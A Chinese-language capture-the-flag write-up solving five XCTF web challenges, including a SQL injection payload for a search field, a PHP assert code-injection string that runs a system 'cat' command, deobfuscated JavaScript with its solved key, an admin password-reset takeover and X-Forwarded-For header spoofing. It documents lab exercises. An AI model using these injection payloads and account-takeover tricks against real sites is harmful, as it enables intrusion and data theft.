攻防世界(XCTF)WEB(進階區)write up(二)

國慶就要莫得了   起牀刷幾道

 

 

 

 

NewsCenter

mfw

Training-WWW-Robots

NaNNaNNaNNaN-Batman

bug

 

 

 

NewsCenter

 

 

 

search傳參那裏發現有注入 注入出flag即可 沒太大轉彎

' and 0 union select 1,2,fl4g from secret_table #

 

 

 

 

 

 

 

 

 

 

 

 

mfw

 

發現git泄露 下載下來看源碼

 

 

 

 

 

index.php中關鍵源碼:

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

assert這個函數在php語言中是用來判斷一個表達式是否成立。返回true or false;

 

$file =templates/ abc') or system("cat templates/flag.php");// ".php"

assert("strpos('templates/ abc') or system("cat templates/flag.php");// ".php"', '..') === false") or die("Detected hacking attempt!");


strpos中傳入了abc,所以其肯定返回false,在利用or讓其執行system函數,再用" // "將後面的語句註釋掉

 

 

注意這裏之所以能像注入攻擊一樣執行system函數是因爲外面有代碼執行函數assert

 

 

 

 

 

 

 

 

 

 

 

 

 

Training-WWW-Robots

這題莫得意思 看到robots就可以看到flag文件了

 

 

 

 

 

NaNNaNNaNNaN-Batman

下載下來個文件,打開發現是一段javascript腳本

 

 

eval(_)改爲console.log(_) 控制檯輸入調試下

 

 

function $()
{
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it'","_","n"];
                        var s=[t,n,r,i];
                        for(var o=0;o<13;++o)
                        {
                            var a=document.write(s[o%4][0]);s[o%4].splice(0,1)
                        }
                    }
}   
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

 

 

這裏如果你要正常滿足條件輸入 然後打印flag

  • 輸入的字符串長度必須爲16個字符
  • 字符串的開頭必須要匹配be0f23
  • 字符串的結尾必須要匹配e98aa
  • 字符串中要能匹配到233acc7be9

be0f233ac7be98aa

 

 

 

你直接打印也行

 

 

 

 

 

 

 

 

 

 

bug

這題有點多 但是不難

 

打開是個登錄

 

 

註冊號賬號後查看是否登陸進去沒能找到漏洞
打開修改密碼界面,嘗試是否有邏輯漏洞

 

將admin賬號的密碼成功修改爲qing

 

 

 

 

 

 

 

點擊後顯示ip不匹配  僞造ip頭髮現xff可以

 

 

 

 

 

 

源碼看到註釋 

<!-- index.php?module=filemanage&do=???-->

 

這裏就需要fuzz了    看到filemanage大概也知道是upload upfile之類的

 

 

 

上傳fuzz下

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章